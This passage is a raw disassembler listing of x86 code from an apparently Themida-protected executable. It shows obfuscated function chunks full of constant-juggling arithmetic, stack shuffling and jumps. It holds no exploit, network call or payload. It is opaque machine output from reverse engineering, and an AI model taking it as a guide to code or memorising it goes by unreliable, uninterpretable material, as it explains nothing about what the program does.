CHUNK FOR sub_585452 loc_587229: ; CODE XREF: sub_585452+2847j push eax mov al, bl mov dl, al jmp loc_586457 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587233: ; CODE XREF: Themida_:0058AE1Fj mov esi, esp push ebp mov ebp, 105F2CBDh and ebp, 43417DFFh add ebp, 0B630A53h xor ebp, 5F0E011Ah inc ebp xor ebp, 3EFE5BA1h xor ebp, 6A546DAEh add esi, ebp pop ebp push ecx jmp loc_58DE81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_587263: ; CODE XREF: sub_58C230-7628j mov ecx, 430324F5h sub edi, ecx mov ecx, [esp-8+arg_4] jmp loc_5891D9 ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587272: ; CODE XREF: sub_585452+5DB5j mov [esp-1Ch+arg_16+2], ebp sub [esp-1Ch+arg_16+2], 5E4C2A32h pop ecx push 1323h mov [esp-1Ch+arg_16+2], ebp mov ebp, 5E4C2A32h add ecx, ebp pop ebp pop ebp add eax, 12DD7693h add eax, ecx jmp loc_58D2D7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58729A: ; CODE XREF: sub_58EFBD+98j xor ebx, esi jmp loc_58DFF0 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BB49 loc_5872A1: ; CODE XREF: sub_58BB49-326Ej push 239Ch mov [esp+4+var_4], ebp mov ebp, 7CEB313Fh sub dword ptr [esp+4], 1DDA5C4Eh sub [esp+4], ebp add dword ptr [esp+4], 1DDA5C4Eh pop ebp sub [esp+0], eax push esi mov esi, 7CEB313Fh add [esp+4], esi pop esi sub dword ptr [esp+0], 0B0217C7h jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58BB49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5872DD: ; CODE XREF: sub_585452+90E9j push eax jmp loc_5893C2 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_5872E3: ; CODE XREF: sub_58999B+441Fj mov ebx, [esp-8+arg_2+2] add esp, 4 jmp loc_58E2D2 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5872EE: ; CODE XREF: sub_585452+9FDFj and edx, 38324117h jmp loc_58B984 ; --------------------------------------------------------------------------- loc_5872F9: ; CODE XREF: sub_585452-EEj or ebp, eax jmp loc_58D251 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587300: ; CODE XREF: Themida_:0058F85Bj pop ebx push edi jmp loc_586A60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587307: ; CODE XREF: sub_585452+5415j not [esp+2+var_4+2] pop ecx xchg ecx, edx xchg edx, [esp+0] mov esi, [esp+0] add esp, 4 shr esi, 2 sub esi, 1DB2F09Bh add ecx, esi jmp loc_58B87F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_587326: ; CODE XREF: sub_58C230+A1Bj and ecx, 0CB44FE6h add ecx, 642512B7h mov ebp, ecx pop ecx or edi, ebp mov ebp, [esp-0Ch+arg_8] add esp, 4 inc edi xchg ecx, edi xchg edi, ecx not edi xchg edi, ecx xchg ecx, edi push eax mov eax, 81C2E823h xor edi, eax pop eax push ebp mov ebp, edi mov [edx+38h], ebp pop ebp jmp loc_588E2F ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_587360: ; CODE XREF: sub_589967-4A9Aj pop esi add ebx, 0FCFBA4EEh add ebp, ebx pop ebx push ebx jmp loc_58D4FE ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58AB18 loc_587370: ; CODE XREF: sub_58AB18-1A70j push esi jmp loc_58CC7D ; END OF FUNCTION CHUNK FOR sub_58AB18 ; --------------------------------------------------------------------------- mov cx, [esp] push 1F9Eh mov [esp], esi push esp mov esi, [esp] add esp, 4 jmp loc_584724 ; --------------------------------------------------------------------------- loc_587391: ; CODE XREF: Themida_:0058845Bj pop edi pop eax push edx jmp loc_586B49 ; --------------------------------------------------------------------------- loc_587399: ; CODE XREF: Themida_:00588CD9j mov edi, [esp] add esp, 4 push eax mov eax, 4F732B6Bh shr eax, 7 jmp loc_58D769 ; --------------------------------------------------------------------------- loc_5873B0: ; CODE XREF: Themida_:005842F4j pop edx add ebp, esi mov esi, [esp] jmp loc_58CB40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5873BB: ; CODE XREF: sub_585452+322Fj pop esp mov [esp-0Ah+arg_4+2], eax jmp loc_588AAE ; --------------------------------------------------------------------------- loc_5873C4: ; CODE XREF: sub_585452+2705j mov edx, [esp-0Ah+arg_4+2] sub esp, 4 mov [esp-6+arg_0+2], ebp mov ebp, esp add ebp, 4 jmp loc_5885B7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5873DA: ; CODE XREF: Themida_:0058B584j push ebp mov ebp, 2 jmp loc_58E97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5873E5: ; CODE XREF: sub_585452+871Aj sub ebx, 1 add ebx, 127C09C1h xor ebx, 0A191381Bh sub edi, 49A11589h add edi, ebx jmp loc_58491A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BE98 loc_587401: ; CODE XREF: sub_58BE98+13j mov ecx, [esp+8+var_8] add esp, 4 push 784Fh mov [esp+8+var_8], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_587798 ; END OF FUNCTION CHUNK FOR sub_58BE98 ; --------------------------------------------------------------------------- mov ax, [esp] push 3C69h jmp loc_585E9C ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_584C0D ; --------------------------------------------------------------------------- loc_58743B: ; CODE XREF: Themida_:0058DE7Cj mov [esp], edx push ebx jmp loc_5867E4 ; --------------------------------------------------------------------------- loc_587444: ; CODE XREF: Themida_:0058E92Cj jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587449: ; CODE XREF: sub_585452+8557j push 417h mov [esp+0], esi push esp pop esi add esi, 4 push edi mov edi, 4 sub esi, 3EBB719Dh add esi, edi add esi, 3EBB719Dh pop edi jmp loc_58B01A ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587473: ; CODE XREF: Themida_:00589855j xchg eax, [esp] mov esp, [esp] sub [esp], ax pushf jmp loc_588A70 ; --------------------------------------------------------------------------- loc_587483: ; CODE XREF: Themida_:0058D4EAj pop esp xor [esp], dl xor dl, [esp] xor [esp], dl jmp loc_58A05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DCD4 loc_587492: ; CODE XREF: sub_58DCD4+62Aj mov edi, esp jmp loc_5854AC ; END OF FUNCTION CHUNK FOR sub_58DCD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587499: ; CODE XREF: sub_585452-98Cj push 538h jmp loc_58CD51 ; --------------------------------------------------------------------------- loc_5874A3: ; CODE XREF: sub_585452+201j xchg ebx, edx jmp loc_58F344 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A170 loc_5874AA: ; CODE XREF: sub_58A170-39F0j shr bh, 8 add bh, 51h sub bh, 0A2h add bh, 23h xor cl, bh pop ebx shr cl, 3 jmp loc_58C3A8 ; END OF FUNCTION CHUNK FOR sub_58A170 ; --------------------------------------------------------------------------- loc_5874C1: ; CODE XREF: Themida_:0058F880j add edi, 4 xchg edi, [esp] pop esp jmp loc_58A54F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5874D0: ; CODE XREF: sub_585452-19Ej mov cl, 0Fh jmp loc_585978 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_5874D7: ; CODE XREF: sub_58EFBD-136Aj add ebp, 346902E6h jmp loc_583FFB ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_5874E2: ; CODE XREF: Themida_:00583F8Bj push 5823h mov [esp], eax mov eax, 37614F11h sub eax, 3059EC6Fh mov ebp, eax push dword ptr [esp] pop eax add esp, 4 xor eax, ebp mov ebp, [esp] push 397Ah mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_58FD03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587517: ; CODE XREF: sub_585452+7AEj xor ecx, eax push 712Ah mov [esp-8+arg_4], ebx push 352Eh jmp loc_58E728 ; --------------------------------------------------------------------------- loc_58752B: ; CODE XREF: sub_585452+151j push cx mov cl, 0B9h sub bl, cl pop cx sub bl, dh jmp loc_58D12D ; --------------------------------------------------------------------------- loc_58753A: ; CODE XREF: sub_585452-17B2j shr bh, 2 shr bh, 3 not bh jmp loc_587D25 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587547: ; CODE XREF: Themida_:0058C12Aj jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58754C: ; CODE XREF: Themida_:0058C5E9j push ebx push edi push ebp push 5A397C9Eh pop ebp push edx mov edx, 5A5841CAh xor ebp, edx pop edx mov edi, ebp mov ebp, [esp] add esp, 4 xor edi, 6757159Bh jmp loc_5859DD ; =============== S U B R O U T I N E ======================================= sub_587574 proc near ; CODE XREF: sub_585452+D31j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00584CCA SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058631A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058663A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005869DA SIZE 0000004C BYTES ; FUNCTION CHUNK AT 00586B3B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005870F2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00587A63 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058840E SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00588732 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00589363 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005896AC SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00589922 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058A6F1 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058AA7F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058AE7B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058C072 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058CA46 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058CF97 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058F4CF SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0058F5F0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058FB27 SIZE 0000000D BYTES push ebx jmp loc_58AE7B sub_587574 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58757A: ; CODE XREF: sub_58EFBD-2FE5j mov [esp-0Ch+arg_8], edi push 6DA4h jmp loc_58F6CF ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58481A loc_587587: ; CODE XREF: sub_58481A+7j mov edi, 24F41833h mov edx, 0DB0BE7CDh add edx, edi pop edi add edx, eax mov [edx], bl mov edx, [esp+4+var_4] add esp, 4 pop ebx jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_58481A ; --------------------------------------------------------------------------- loc_5875A4: ; CODE XREF: Themida_:0058C41Fj push ebp mov ebp, 16E607C2h jmp loc_586980 ; --------------------------------------------------------------------------- loc_5875AF: ; CODE XREF: Themida_:00583FBFj add esi, 5A800239h neg esi or esi, 656D577Ah jmp loc_58EBE8 ; --------------------------------------------------------------------------- loc_5875C2: ; CODE XREF: Themida_:0058D00Bj pop bx push eax push ecx mov cl, dh mov al, cl pop ecx mov dh, [esp+4] mov [esp+4], al pop eax jmp loc_58E5EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5875D9: ; CODE XREF: sub_585452+3CFAj mov esp, [esp-4+arg_0] mov [esp-4+arg_0], ebx jmp loc_58E37D ; --------------------------------------------------------------------------- loc_5875E4: ; CODE XREF: sub_585452+17CFj push eax mov ah, 3Fh dec ah shr ah, 7 add ah, 2Bh add bh, ah jmp loc_58E035 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5875F6: ; CODE XREF: Themida_:0058A6CDj sub ecx, 4 jmp loc_58BB65 ; --------------------------------------------------------------------------- loc_587601: ; CODE XREF: Themida_:00587F00j add esi, 56F65BA5h jmp loc_58F254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58760C: ; CODE XREF: sub_585452+BBj sub [edi+24h], eax pop eax xor edx, edx jmp loc_58E799 ; --------------------------------------------------------------------------- loc_587617: ; CODE XREF: sub_585452+43BDj sub eax, 7308FFFAh jmp loc_5898AB ; --------------------------------------------------------------------------- loc_587621: ; CODE XREF: sub_585452+594j pop edi push eax jmp loc_58C991 ; --------------------------------------------------------------------------- loc_587628: ; CODE XREF: sub_585452+147Fj add edx, 7261E71h push ecx mov ecx, 0A1E4D5Bh sub edx, ecx pop ecx pop esi push edx push [esp+46h+var_44+2] pop edx jmp loc_5889B0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587643: ; CODE XREF: Themida_:0058E2CDj mov dl, bl sub esp, 4 mov [esp], eax mov al, ch mov bl, al pop eax jmp loc_58CBB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_587658: ; CODE XREF: sub_58999B+1316j pop esi push [esp-10h+arg_C] pop ebp jmp loc_58E21E ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- loc_587662: ; CODE XREF: Themida_:0058FE06j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov eax, 6EF97A09h sub eax, 12795F64h shl eax, 2 add eax, 0B410E6Ch add eax, 0FFFFFFFFh xor eax, 316956DFh add ebp, eax pop eax push ecx mov ecx, 5BFB61EFh neg ecx jmp loc_58B994 ; --------------------------------------------------------------------------- loc_5876A0: ; CODE XREF: Themida_:005881A8j xchg eax, [esp] pop esp jmp loc_587BAC ; --------------------------------------------------------------------------- loc_5876A9: ; CODE XREF: Themida_:005862B1j mov eax, [esp] push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edx mov edx, 4 add ebp, edx jmp loc_58CA33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5876CA: ; CODE XREF: sub_585452+774j mov ecx, [esp+0] jmp loc_58E919 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_5876D2: ; CODE XREF: Themida_:0058E630j push ecx jmp loc_58E70B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589FD5 loc_5876D8: ; CODE XREF: sub_589FD5+1B10j mov esi, [esp-0Ch+arg_8] push ebp mov ebp, esp add ebp, 4 jmp loc_586703 ; END OF FUNCTION CHUNK FOR sub_589FD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A4F5 loc_5876E9: ; CODE XREF: sub_58A4F5+Aj mov bh, 8Dh jmp loc_58B35E ; END OF FUNCTION CHUNK FOR sub_58A4F5 ; --------------------------------------------------------------------------- loc_5876F0: ; CODE XREF: Themida_:0058E12Aj xchg ecx, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, esp push edi mov edi, 4 sub esi, 27304F13h add esi, edi jmp loc_58DB88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DEA3 loc_587712: ; CODE XREF: sub_58DEA3-739Aj mov edx, esp jmp loc_585A85 ; END OF FUNCTION CHUNK FOR sub_58DEA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587719: ; CODE XREF: sub_585452+3723j mov esi, 4 add ebp, esi pop esi xchg ebp, [esp-14h+arg_E+2] pop esp push edi mov edi, esp add edi, 4 jmp loc_58B83E ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_583D6F loc_587733: ; CODE XREF: sub_583D6F+6j pop ebp inc ebp add ebp, 838486Ch or ebp, 20441258h xor ebp, 325C77FBh jmp loc_58B8A4 ; END OF FUNCTION CHUNK FOR sub_583D6F ; --------------------------------------------------------------------------- loc_58774C: ; CODE XREF: Themida_:0058CDE2j pop esp add esp, 4 push 3856h mov [esp], ecx jmp loc_58FAC3 ; --------------------------------------------------------------------------- loc_58775D: ; CODE XREF: Themida_:0058DAA3j add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_58D555 ; --------------------------------------------------------------------------- loc_58776F: ; CODE XREF: Themida_:005893BDj xor ecx, 11412A10h sub ebx, ecx pop ecx jmp loc_584FB8 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push 2C3Bh mov [esp], edx mov edx, esp add edx, 4 jmp loc_588B56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BE98 loc_587798: ; CODE XREF: sub_58BE98-4A7Bj xchg ebp, [esp+8+var_8] jmp loc_587DE6 ; END OF FUNCTION CHUNK FOR sub_58BE98 ; --------------------------------------------------------------------------- loc_5877A0: ; CODE XREF: Themida_:00586DF5j add esp, 4 jmp loc_587D9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5877A8: ; CODE XREF: sub_585452+9A36j pop edi xchg edi, ebx jmp loc_58CE6F ; --------------------------------------------------------------------------- loc_5877B0: ; CODE XREF: sub_585452+967Cj push ecx push 384Ah mov [esp+0], edx mov dh, al push eax mov ah, dh jmp loc_588AB8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_586878 ; --------------------------------------------------------------------------- lodsd jmp loc_585512 ; --------------------------------------------------------------------------- loc_5877D4: ; CODE XREF: Themida_:00584A29j mov [esp], ebp push edx jmp loc_58DDBF ; =============== S U B R O U T I N E ======================================= sub_5877DD proc near ; CODE XREF: sub_585452+925Fj ; FUNCTION CHUNK AT 00589142 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058B77F SIZE 00000019 BYTES push ebx jmp loc_58B77F sub_5877DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D7D9 loc_5877E3: ; CODE XREF: sub_58D7D9-6A6Cj push ecx jmp loc_585E80 ; END OF FUNCTION CHUNK FOR sub_58D7D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_5877E9: ; CODE XREF: sub_585452-6EFj add ecx, 0FFFFFFFFh jmp loc_58483C ; --------------------------------------------------------------------------- loc_5877F4: ; CODE XREF: sub_585452+2B2Ej mov [esp-1Eh+arg_1A], edx push 5305h mov [esp-1Ah+arg_16], eax mov eax, 1 push 2D86h mov [esp-16h+arg_12], edi mov edi, eax jmp loc_58970F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587813: ; CODE XREF: Themida_:005879DAj pop edi sub edx, 3DC25543h add edx, eax add edx, 3DC25543h push edi jmp loc_585C21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_587828: ; CODE XREF: sub_58EFBD-4D27j push 10B2h mov [esp-4+arg_0], ecx mov ecx, 4324449Ch sub eax, ecx push [esp-4+arg_0] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] mov esp, [esp+0] or eax, eax jnz loc_58BF42 push eax jmp loc_58CBDC ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58785E: ; CODE XREF: Themida_:0058C91Bj shl ebx, 8 not ebx jmp loc_58D409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F728 loc_587868: ; CODE XREF: sub_58F728-6319j pop ebp add edx, edi pop edi pop ebp xor eax, edx pop edx push 2A9Ah mov [esp+0], edx push 35C71F95h mov edx, [esp+0] push 69A5h jmp loc_58B863 ; END OF FUNCTION CHUNK FOR sub_58F728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58788A: ; CODE XREF: sub_58EFBD-6094j sub esi, 5D60606Bh neg esi shl esi, 1 xor esi, 87269884h jmp loc_588771 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- loc_58789F: ; CODE XREF: Themida_:0058EC20j sub cx, 3CDEh mov si, cx pop ecx push ax mov ax, 589Dh sub dx, ax jmp loc_58A147 ; --------------------------------------------------------------------------- loc_5878B6: ; CODE XREF: Themida_:00588529j jmp loc_583C20 ; =============== S U B R O U T I N E ======================================= sub_5878BB proc near ; CODE XREF: sub_58F3BC-6173j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058B332 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0058BCA4 SIZE 00000003 BYTES push ebx mov ebx, 0BCD19A9Fh push ebp mov ebp, ebx push esi mov esi, ebp mov ecx, esi pop esi pop ebp mov ebx, [esp+4+var_4] add esp, 4 add ecx, edi mov edi, [esp+0] push ebx jmp loc_58B332 sub_5878BB endp ; sp-analysis failed ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push ebx push edi push 5C8753D9h pop edi and edi, 7B33B71h xor edi, 12327FDEh xor edi, 33307411h jmp loc_586172 ; --------------------------------------------------------------------------- loc_5878FE: ; CODE XREF: Themida_:00583D7Cj sub al, dh pop edx add al, bl add al, 40h jmp loc_587E9B ; --------------------------------------------------------------------------- loc_58790A: ; CODE XREF: Themida_:0058EBB9j push ecx jmp loc_58E635 ; --------------------------------------------------------------------------- loc_587910: ; CODE XREF: Themida_:00584017j mov dh, 72h inc dh add dh, 0CFh add al, dh mov edx, [esp] add esp, 4 mov edx, [esp] add esp, 4 add al, 51h sub esp, 4 jmp loc_5854C4 ; --------------------------------------------------------------------------- loc_587935: ; CODE XREF: Themida_:0058E517j push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_58DEFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587942: ; CODE XREF: sub_585452+7E5Dj mov bh, 1 sub al, bh pop ebx jmp loc_58517F ; --------------------------------------------------------------------------- loc_58794C: ; CODE XREF: sub_585452+49D2j mov edi, ecx mov ecx, [esp-1Ah+arg_16] add esp, 4 shr edi, 7 not edi xor edi, 0BF3124Ch shl edi, 3 shl edi, 4 jmp sub_58C31F ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58796A: ; CODE XREF: Themida_:0058C800j mov ebp, 7C5242E6h sub ebp, 5BEE3E30h or ebp, 4F824B00h not ebp xor ebp, 0BAE2600h jmp loc_585C15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587988: ; CODE XREF: sub_585452+1C68j mov esp, [esp-1Eh+arg_1A] mov ax, word ptr [esp-1Eh+arg_1A] push 2D9Eh mov [esp-1Ah+arg_16], ebx sub esp, 4 mov [esp-16h+arg_12], esp add [esp-16h+arg_12], 4 push [esp-16h+arg_12] jmp loc_5843B7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_5879BF: ; CODE XREF: Themida_:0058B7AFj sub al, bh pop ebx jmp loc_58917C ; --------------------------------------------------------------------------- loc_5879C7: ; CODE XREF: Themida_:0058F66Fj pop esi and eax, 461A6911h xor eax, 0FBD56CBh push edi mov edi, 2495475Eh sub edx, edi jmp loc_587813 ; --------------------------------------------------------------------------- loc_5879DF: ; CODE XREF: Themida_:0058905Aj pop edx sub ecx, 0F177224Ah xor edi, ecx jmp loc_584B94 ; --------------------------------------------------------------------------- loc_5879ED: ; CODE XREF: Themida_:0058461Cj push eax jmp loc_58B568 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA66 loc_5879F3: ; CODE XREF: sub_58FA66+475j shr eax, 0Eh xor eax, ecx push eax mov eax, esp jmp loc_58F4B2 ; END OF FUNCTION CHUNK FOR sub_58FA66 ; --------------------------------------------------------------------------- loc_587A00: ; CODE XREF: Themida_:0058A65Dj sub ebp, 13788628h add edi, 75B66DE8h sub edi, ebp jmp loc_58C4B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58999B loc_587A13: ; CODE XREF: sub_58999B+54F7j xor dh, 10h add bl, 0AFh add bl, 9 jmp loc_58F337 ; END OF FUNCTION CHUNK FOR sub_58999B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587A21: ; CODE XREF: sub_585452-ADBj push 51D4h mov [esp-0Ch+arg_8], edx jmp loc_5852B3 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587A2E: ; CODE XREF: Themida_:0058FE7Bj xchg ebp, [esp] mov esp, [esp] test cl, al pushf jmp loc_587E56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587A3C: ; CODE XREF: sub_585452+A6A1j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-8+arg_4] pop esp jmp loc_5882C7 ; --------------------------------------------------------------------------- loc_587A51: ; CODE XREF: sub_585452+5889j xor ebp, [esp-0Ch+arg_8] jmp loc_58EEBA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_587A59: ; CODE XREF: sub_58960C+53B6j mov edx, 0D7480643h jmp loc_58D586 ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_587A63: ; CODE XREF: sub_587574-1245j push 6CA33C7Dh pop ebp add edi, ebp pop ebp pop esi xchg edi, [esp+0] pop esp push ebx push esp jmp loc_584CCA ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- loc_587A78: ; CODE XREF: Themida_:005865E2j push eax mov eax, 4 add ebp, eax pop eax add ebp, 4 jmp loc_58AAA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587A89: ; CODE XREF: sub_585452+8D93j mov ecx, 62832727h mov ebx, 62832729h sub ebx, ecx pop ecx sub ecx, 1B9E2035h add ecx, 59F01818h add ecx, ebx jmp sub_58832B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_587AA9: ; CODE XREF: Themida_:00588EEFj push ecx mov cl, 37h inc cl sub cl, 80h shl cl, 6 push edx mov dl, 37h jmp loc_584F8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587ABC: ; CODE XREF: sub_585452+A0DAj push ecx mov ecx, 3FE81B79h jmp loc_585369 ; --------------------------------------------------------------------------- loc_587AC7: ; CODE XREF: sub_585452+42C6j mov cl, ah pop eax pop ebx jmp loc_587D6D ; --------------------------------------------------------------------------- loc_587AD0: ; CODE XREF: sub_585452+6B31j pop esp jmp loc_58F064 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- mov edx, [esp] push 4190h mov [esp], esi mov esi, esp add esi, 4 push edi mov edi, 4 sub esi, edi pop edi xchg esi, [esp] pop esp mov [esp], eax push 6A11h mov [esp], esp push edi mov edi, 4 jmp loc_588457 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push dword ptr [esp] push dword ptr [esp] pop eax push edi mov edi, esp jmp loc_584D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_587B1E: ; CODE XREF: sub_585452+9D2Fj xor eax, 53802C0Fh add ebx, eax pop eax mov eax, [esp-1Ch+arg_16+2] add esp, 4 neg ebx xor ebx, 6B5166DDh sub eax, ebx pop ebx sub ebx, 29F9112Bh add ebx, 1EEA12DBh add ebx, eax sub esp, 4 jmp loc_58C85C ; --------------------------------------------------------------------------- loc_587B50: ; CODE XREF: sub_585452-11F0j shr dl, 1 sub dl, 6Ah sub al, dl jmp loc_5873C4 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F3BC loc_587B5C: ; CODE XREF: sub_58F3BC+F1j xor eax, ebx push 4F16h mov [esp+0], ebp jmp loc_5886A4 ; END OF FUNCTION 